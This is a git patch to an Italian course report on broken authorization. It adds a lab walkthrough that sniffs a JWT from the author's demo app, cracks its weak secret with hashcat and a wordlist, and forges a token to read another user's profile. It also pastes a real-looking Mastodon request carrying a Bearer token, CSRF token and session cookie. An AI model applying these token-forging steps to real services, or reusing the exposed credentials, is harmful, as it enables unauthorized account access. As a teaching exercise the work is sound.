From bd19a23e37e2598636ddb7cf19736773ade248ea Mon Sep 17 00:00:00 2001 From: Santo Cariotti Date: Wed, 23 Nov 2022 10:13:31 +0100 Subject: fix typos --- docs/chapters/introduction.tex | 12 ++-- docs/chapters/jwt-attacks.tex | 29 +++++++- docs/chapters/network.tex | 149 +++++++++++++++++++++++++++++++++++++++++ docs/chapters/setup.tex | 20 +++--- 4 files changed, 190 insertions(+), 20 deletions(-) create mode 100644 docs/chapters/network.tex (limited to 'docs/chapters') diff --git a/docs/chapters/introduction.tex b/docs/chapters/introduction.tex index ce461ee..34fec8b 100644 --- a/docs/chapters/introduction.tex +++ b/docs/chapters/introduction.tex @@ -1,15 +1,17 @@ Questa relazione fa riferimento a quanto riportato dalla OWASP Foundation \cite{OWASP:1} in merito alla classifica dei Top 10 rischi nei dispositivi mobile dell'anno 2016 \cite{OWASP:2}. -Definire cosa sia un'\textbf{autorizzazione} è compito di ogni studente del corso di Internet Security ma, stando a quanto citato nell'articolo \cite{auth0:1} un'autorizzazione è \emph{il processo di dare a qualucuno l'abilità di accedere ad una risorsa}. +Definire cosa sia un'\textbf{autorizzazione} è compito di ogni studente del corso di Internet Security ma, stando a quanto citato nell'articolo di Auth0\cite{auth0:1} un'autorizzazione è \emph{il processo di dare a qualcuno l'abilità di accedere ad una risorsa}. -Proprio questo, infatti, è quello di cui abbiamo ampiamente discusso nel modulo di \emph{Identity and Access Managment} ed è quello che Auth0 fa esattamente: un gateway per implementare autenticazione e autorizzazione mediante servizi terzi. Per intenderci, esso risolve il classico problema del "Sign in with Google/Facebook/Microsoft". +Proprio questo, infatti, è quello di cui abbiamo ampiamente discusso nel modulo di \emph{Identity and Access Management} ed è quello che Auth0 fa esattamente: un gateway per implementare autenticazione e autorizzazione mediante servizi terzi. Per intenderci, esso risolve il classico problema del "Sign in with Google/Facebook/Microsoft". \section{Autenticazione vs Autorizzazione} -Oltre ad essere un header in una richiesta HTTP differente essi hanno un significato semantico differente. +Sono innanzitutto due differenti header in una richiesta HTTP, oltre ad avere anche un diverso significato semantico. Il primo dà la conferma che la coppia di informazioni - come ad esempio (nome utente, password) - inserite si riferiscano realmente ad un utente presente nel sistema. -Il secondo no, avviene, in teoria, dopo che l'utente ha eseguito il sign in. +Il secondo vede se l'utente registrato ha i permessi per la risorsa; avviene dopo che l'utente ha eseguito il sign in. \section{Problema nell'autenticazione} -In poche righe, dato che non è argomento di questa relazione, un'autenticazione all'interno di un dispositivo mobile non è \emph{necessariamente} un bug o un errore di progettazione all'interno di un server. Questo perché si potrebbe avere un'applicazione single-page che non si interfaccia ad un backend presente in un server remoto e quindi i dati di autenticazione si possono riferire al dispositivo mobile locale. +In poche righe, dato che non è argomento di questa relazione, un'autenticazione all'interno di un dispositivo mobile non è \emph{necessariamente} un bug o un errore di progettazione all'interno di un server a cui si fanno richieste. + +Infatti ci si potrebbe riferire ad un problema circoscritto localmente al dispositivo mobile, come ad esempio fingerprint o WiFi. \section{Problema nell'autorizzazione} L'autorizzazione invece può spaziare, dare per assodato che l'autenticazione è stata fatta, e quindi rilasciare una risorsa solo perché quel token che gli stiamo passando è effettivamente \emph{un token valido}, o meglio, un token abilitato (che quindi ha il permesso) a visualizzare (o modificare) una determinata risorsa. \ No newline at end of file diff --git a/docs/chapters/jwt-attacks.tex b/docs/chapters/jwt-attacks.tex index cb32afb..0d40cd7 100644 --- a/docs/chapters/jwt-attacks.tex +++ b/docs/chapters/jwt-attacks.tex @@ -16,7 +16,7 @@ $ echo "eyJ1c2VyX2lkIjoxfQ" | base64 -d {"user_id":1} \end{lstlisting} e la terza all'HS256 \cite{HMACSHA:1} della stringa dei due più un secret. Sappiamo che è HS256 dall'header. -Questo token quindi è passato come header HTTP alla chiave d'autorizzazione. +Questo token quindi è passato come header HTTP come chiave d'autorizzazione del tipo \emph{Bearer} \cite{BEARER:1}. \begin{lstlisting} POST /v1/users/2/ HTTP/2 Host: example.com @@ -27,7 +27,29 @@ Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. [...] \end{lstlisting} -Ipotizziamo che l'endpoint \underline{https://example.com/v1/users/2/} di questa API che vogliamo attaccare guardi l'autenticazione da un cookie che gli si passa e poi guardi l'autorizzazione per accedere all'utente con quell'ID solo se corrisponde all'utente dell'autorizzazione. L'autorizzazione procederebbe con successo ma arrivando all'autorizzazione e decodificato il JWT avremmo un responso del tipo: +Ipotizziamo che l'endpoint \underline{https://example.com/v1/users/2/} di questa API che vogliamo attaccare guardi l'autenticazione da un cookie che gli si passa e poi guardi l'autorizzazione per accedere all'utente con quell'ID solo se corrisponde all'utente dell'autorizzazione. + +Un esempio reale fatto da una richiesta di un'istanza Mastodon è infatti la seguente, il quale non usa JWT. +\begin{lstlisting} +GET /api/v1/timelines/home?max_id=109391647440107910 HTTP/1.1 +Host: hachyderm.io +User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0 +Accept: application/json, text/plain, */* +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate, br +X-CSRF-Token: IvSSEJLEUwEqR16Bz1CsflGvdGPSi6vVOJJ4NJevQkPzLXGPx0p3lULJDIVPegqxTnLV8pS5OIAqm2Q-_Ywd5dw +DNT: 1 +Sec-Fetch-Dest: empty +Sec-Fetch-Mode: cors +Sec-Fetch-Site: same-origin +Sec-GPC: 1 +Authorization: Bearer a026Y6lPcrhXYBPmx7jvSwsUYtC_MrR-1iKlnPT8c0z +Referer: https://hachyderm.io/ +Connection: keep-alive +Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI1IklxVTFPK0kwWqmSaE5XTTFOV011TmpBNE9ESmpOR1ZqT... +\end{lstlisting} + +L'autenticazione procederebbe con successo ma arrivando all'autorizzazione e decodificato il JWT avremmo un responso del tipo: \begin{lstlisting} HTTP/2 401 Unauthorized \end{lstlisting} @@ -60,4 +82,5 @@ zZXJfaWQiOjF9" | base64 -d \end{lstlisting} e da questo, anche se riuscissimo a scoprirne il \textbf{secret} per la verifica, dovremmo far conto sia con la timestamp di scadenza che con l'ID (JTI). Il payload di questo listato è stato generato da un'app realizzata usando dj-rest-auth \cite{DJ-REST-AUTH:1} il quale alla base usa la libreria PyJWT \cite{PYJWT:1}. -Come ampiamente discusso da Portswigger nel loro articolo \cite{JWT-ATTACK:1} sono numerosi i possibili attacchi a JWT, molti dei quali, in realtà, vengono eseguiti modificando l'header, come ad esempio l'attacco a JWK \cite{JWK:1}; niente che una buona libreria aggiornata non possa prevenire. \ No newline at end of file +Come ampiamente discusso da Portswigger nel loro articolo \cite{JWT-ATTACK:1} sono numerosi i possibili attacchi a JWT: molti dei quali, in realtà, vengono eseguiti modificando l'header. + Un esempio è l'attacco a JWK \cite{JWK:1}, niente che una buona libreria aggiornata non possa prevenire. \ No newline at end of file diff --git a/docs/chapters/network.tex b/docs/chapters/network.tex new file mode 100644 index 0000000..60bf08d --- /dev/null +++ b/docs/chapters/network.tex @@ -0,0 +1,149 @@ + +In questa versione di testing sarà utilizzato il software Termshark\footnote{https://github.com/gcla/termshark} al posto di Wireshark. È un software basato su Wireshark il cui unico vantaggio è la facilità d'uso per quello che serve fare a noi, visto che offre una semplice TUI a \textbf{tshark(1)}. + +Aprendo Termshark la prima cosa che può venir in mente è quella di filtrare per richieste TCP, e così facciamo, ma vi sono tanti pacchetti che arrivano in entrata e uscita, quindi potremmo voler aggiungere un filtro in modo tale da filtrare solo le richieste che partono dalla nostra macchina: ma qual è l'IP? Per far ciò basta eseguire + +\begin{lstlisting} +$ ip -br a +lo UNKNOWN 127.0.0.1/8 ::1/128 +wlp2s0 UP 151.97.156.203/20 fe80::dab5:fab1:2c92:1fcb/64 +docker0 DOWN 172.17.0.1/16 +.. +\end{lstlisting} + +prendendo come base l'IP della scheda Wireless possiamo applicarvi il filtro. + +\begin{figure}[h] +\centering +\includegraphics[width=0.75\textwidth]{data/termshark} +\caption{Screenshot di Termshark} +\end{figure} + +Avviando l'applicazione da Android Studio dobbiamo far caso, dopo aver provato il login, alla colonna Info, dove vi sono le righe con testo "Client Hello" o con la chiamata HTTP in chiaro. + +Nello screenshot in Figura 4.2 si vede a quale endpoint fa la chiamata per fare il login e anche con quale payload. Non è un problema il fatto che vediamo le credenziali che stiamo usando, proprio perché li stiamo inserendo noi. Può essere un problema in caso di qualcun altro che fa sniffing della LAN perché vedrebbe le nostre credenziali; questo problema scompare quando il server usa HTTPS invece di HTTP. + +\begin{figure}[h] +\centering +\includegraphics[width=0.75\textwidth]{data/termshark-post} +\caption{Screenshot dell'endpoint di login} +\end{figure} + +\section{Informazioni utente} + +\begin{figure}[h] +\centering +\includegraphics[width=0.75\textwidth]{data/termshark-get-users} +\caption{Screenshot della GET users} +\end{figure} +Proseguendo nell'applicazione a visualizzare la pagina con le info personali, vediamo da dove e come prende queste informazioni. +In particolare dobbiamo far attenzione, oltre all'url, a qual è il token di accesso usato per richiedere la risorsa. + + +Nella Figura 4.3 si vede ciò. Per copiare la riga bisogna entrare in modalità copy premendo \emph{c} e \emph{CTRL+C}. Alla fine avremo in buffer la stringa + + +\begin{lstlisting} +[Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9. +eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9. +nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s\r\n] +\end{lstlisting} + +Decodificando il payload si vedrà + +\begin{lstlisting} +$ echo "eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9" | base64 -d +{"user_id":1,"exp":1669282872} +\end{lstlisting} + +\section{Attacco all'autorizazzione} + +Ricreiamo un payload valido ma con differente "user\_id". + +\begin{lstlisting} +$ echo '{"user_id":2,"exp":1669282872}' | base64 +eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9Cg== + +$ # Il padding "Cg==" va rimosso da JWT +\end{lstlisting} + +Usiamo un software che permette di fare chiamate HTTP come xh\footnote{https://github.com/ducaale/xh} e vediamo come questo nuovo payload non funzioni, proprio perché l'ultima parte non è stata ancora ricalcolata. + +\begin{lstlisting} +xh http://m6ie.demo.dcariotti.me/v1/users/me + Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 + .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9 + .nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s" +HTTP/1.1 400 Bad Request +Access-Control-Allow-Origin: * +Connection: keep-alive +Content-Length: 25 +Content-Type: application/json +Date: Tue, 22 Nov 2022 03:24:00 GMT +Server: nginx +Vary: origin + +{ + "error": "Invalid token" +} +\end{lstlisting} + +\subsection{Forcing del secret} +L'Authorization token è qualcosa di pubblico, che possiamo veder ad ogni richiesta HTTP. Il secret no, è usato per fare verificare la firma e rendere valido il token stesso. Quindi useremo un approccio simile a quello impiegato per "forzare" il login di una piattaforma: proveremo per forza bruta tutte le password possibili. +In questo caso proveremo i possibili secret per far sì che la firma sia lo stesso valida. + +Prendendo una lista ben nota di secrets impiegati in servizi in produzione\footnote{https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list} useremo il software open-source \textbf{Hashcat} \cite{HASHCAT}. +Per crackare la password usando Hashcat bisogna dare in input il parametro dell'hash type di JWT, il sorgente in cui vi è il token che si vuole crackare e il sorgente in cui vi è la lista dei secrets. + +\begin{lstlisting} +$ hashcat -m 16500 my-secret.dat jwt-secrets-list.dat + +eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 +.eyJ1c2VyX2lkIjoxLCJleHAiOjE2NjkyODI4NzJ9 +.nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s:hello + +Session..........: hashcat +Status...........: Cracked +Hash.Type........: JWT (JSON Web Token) +Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIj...qcJc3s +\end{lstlisting} + +Qui vediamo come sia riuscito a trovare il secret, ovvero la stringa \emph{hello}. + +\subsection{Creazione token valido} +Usando queste informazioni possiamo sfruttare il sopracitato sito web \underline{jwt.io} per la creazione di un token valido. + +\begin{figure}[h] +\centering +\includegraphics[width=0.75\textwidth]{data/jwt} +\caption{Screenshot di Jwt.io} +\end{figure} + +Usando questo nuovo token codificato per fare la chiamata, possiamo riprovare la chiamata che era fallita prima. + + +\begin{lstlisting} +$ xh http://m6ie.demo.dcariotti.me/v1/users/me + Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 + .eyJ1c2VyX2lkIjoyLCJleHAiOjE2NjkyODI4NzJ9 + .rUXPmYWp2U5B2614Ojen1Il_5yR3D5InYCAFAeaxUmw" +HTTP/1.1 200 OK +Access-Control-Allow-Origin: * +Connection: keep-alive +Content-Length: 106 +Content-Type: application/json +Date: Tue, 22 Nov 2022 03:30:19 GMT +Server: nginx +Vary: origin + +{ + "id": 2, + "name": "Luke Skywalker", + "email": "luke@disney.com", + "username": "luke", + "is_staff": true, + "avatar": null +} +\end{lstlisting} + +Questo perché, come avevamo dato per assodato prima, molti backend si fidano ciecamente del fatto che il token JWT inviato sia valido e quindi restituiscono la risorsa. \ No newline at end of file diff --git a/docs/chapters/setup.tex b/docs/chapters/setup.tex index 16c0bc5..74f1e5f 100644 --- a/docs/chapters/setup.tex +++ b/docs/chapters/setup.tex @@ -1,7 +1,7 @@ -In genere, quando vogliamo tenere traccia del traffico di richieste che vi è dentro una web app (XHR \cite{XHR:1}, loading di immagini, fonts, codice JS) apriamo la "console sviluppatore" che ci dà a disposizione Firefox (o qualsiasi altro browser, come Chrome) e iniziamo a guardare. +In genere, quando vogliamo tenere traccia del traffico di richieste che vi è dentro una web app (XHR \cite{XHR:1}, caricamento di immagini, fonts, codice JS) apriamo la "console sviluppatore" che ci dà a disposizione Firefox (o qualsiasi altro browser, come Chrome) e iniziamo a guardare. Con questa relazione però, vogliamo fare un attacco attraverso un dispositivo mobile, quindi controlleremo il traffico in uscita nella nostra rete per scoprire a quale server la nostra mobile app sta facendo capo. \newline\newline -Imposteremo tutto il necessario per replicare l'attacco visto nel capitolo precedente: +Imposteremo tutto il necessario per simulare l'attacco visto nel capitolo precedente: \begin{itemize} \item Una REST API con un problema di autorizzazione nell'endpoint degli utenti, il quale non verifica che l'utente loggato è effettivamente il possessore di quella risorsa. La installeremo in un server su internet; \item Un'applicazione mobile che fa richieste a tale API; @@ -9,7 +9,7 @@ Imposteremo tutto il necessario per replicare l'attacco visto nel capitolo prece \end{itemize} \section{API} -Nella realtà, come questa API pubblica \cite{REDDIT:1}, si espone un endpoint \emph{/api/v1/me/} dove \emph{v1} è la versione dell'API in cui si ritornano i dati per l'utente autenticato. E questa è una buona prassi, un endpoint che si può trovare più o meno in tutte le REST API. +Nella realtà, come ad esempio l'API di Reddit \cite{REDDIT:1}, si espone un endpoint \emph{/api/v1/me/} dove \emph{v1} è la versione dell'API in cui si ritornano i dati per l'utente autenticato. E questa è una buona prassi, un endpoint che si può trovare più o meno in tutte le REST API. \textbf{Cosa proveremo a fare noi?} Proprio un'API che fa ciò, niente più e niente meno. Ci limiteremo però solo a controllare che il JWT passato è valido in modo da ritornare i dati dell'utente che noi pensiamo sia stato autorizzato. \newline\newline @@ -21,7 +21,7 @@ La parte incriminata è la route qui sotto. Qui si limita a ritornare la riga ut async fn get_user(claims: Claims) -> Result, AppError> { match User::find_by_id(claims.user_id).await { Ok(user) => Ok(Json(user)), - Err(_) => Err(AppError::NotFound), + Err(_) => Err(AppError::NotFound("User not found".to_string())), } } \end{lstlisting} @@ -29,8 +29,6 @@ async fn get_user(claims: Claims) -> Result, AppError> { in realtà qui non vi è nessun problema reale di sicurezza. È un API che funziona, ad ogni richiesta infatti controlla se il token è valido \begin{lstlisting} -// bearer = variable with token string - let token_data = decode::(bearer.token(), &KEYS.decoding, &Validation::default()) .map_err(|_| AppError::InvalidToken)?; \end{lstlisting} @@ -56,8 +54,8 @@ impl Keys { E proprio in questo "errore" nel secret che andremo ad attaccare. Useremo un attacco di bruteforcing all'header Authorization per far sì di avere i dati dell'utente con ID che noi vogliamo. \section{App mobile} -Il codice dell'app è presente al link \underline{\url{https://git.dcariotti.me/m6-ie/tree/app}}. -È una "banale" applicazione scritta usando Ionic \cite{IONIC} con 3 pagine: +Il codice dell'app è presente a \underline{\url{https://git.dcariotti.me/m6-ie/tree/app}}. +È una "banale" applicazione scritta usando Ionic \footnote{https://ionicframework.com/} con 3 pagine: \begin{enumerate} \item Home: ricorda cosa serve fare, ovvero il login; \item Sign in: permette di fare il login mediante username e password; @@ -65,15 +63,13 @@ Il codice dell'app è presente al link \underline{\url{https://git.dcariotti.me/ \end{enumerate} Sapendo ciò dovremo esaminare il file APK dell'applicazione per vedere come si comporta realmente.\\\\ -Dentro il codice sorgente è presente il codice in JavaScript, ma a noi serve usarlo nel nostro dispositivo Android. Quindi, come faremo realmente sviluppando un'app Ionic, lo andremo a compilare e visualizzare l'APK dentro Android Studio \cite{ANDROIDSTUDIO}. -Questo passaggio lo ricreiamo per ricondurre a tutti i passaggi. +Dentro il codice sorgente è presente il codice in JavaScript, ma a noi serve usarlo nel nostro dispositivo Android. Quindi, come faremmo realmente sviluppando un'app Ionic, lo andremo a compilare e visualizzarne l'APK dentro Android Studio \footnote{https://developer.android.com/studio/}. \begin{lstlisting} $ git clone https://git.dcariotti.me/m6-ie $ cd m6-ie/app $ npm i -$ ionic capacitor add android $ vi .env # Chi fa la build conosce effettivamente l'URL dell'API $ npm run build --production $ npx cap copy android @@ -109,4 +105,4 @@ Avviando l'emulatore attraverso \emph{Shift+F10} vedremo l'applicazione dentro i \caption{Screenshot dell'emulatore} \end{figure} -Se provassimo ad intercettare il traffico usando il \emph{Network profiler} integrato non vedremmo nulla perché non vengono esaminate le richieste HTTP fatte in maniera ibrida, quindi useremo Wireshark per monitorare le richieste al server. \ No newline at end of file +Se provassimo ad intercettare il traffico usando il \emph{Network profiler} integrato non vedremmo nulla perché non vengono esaminate le richieste HTTP fatte in maniera ibrida; ecco viene in aiuto Wireshark. \ No newline at end of file -- cgit v1.2.3-18-g5258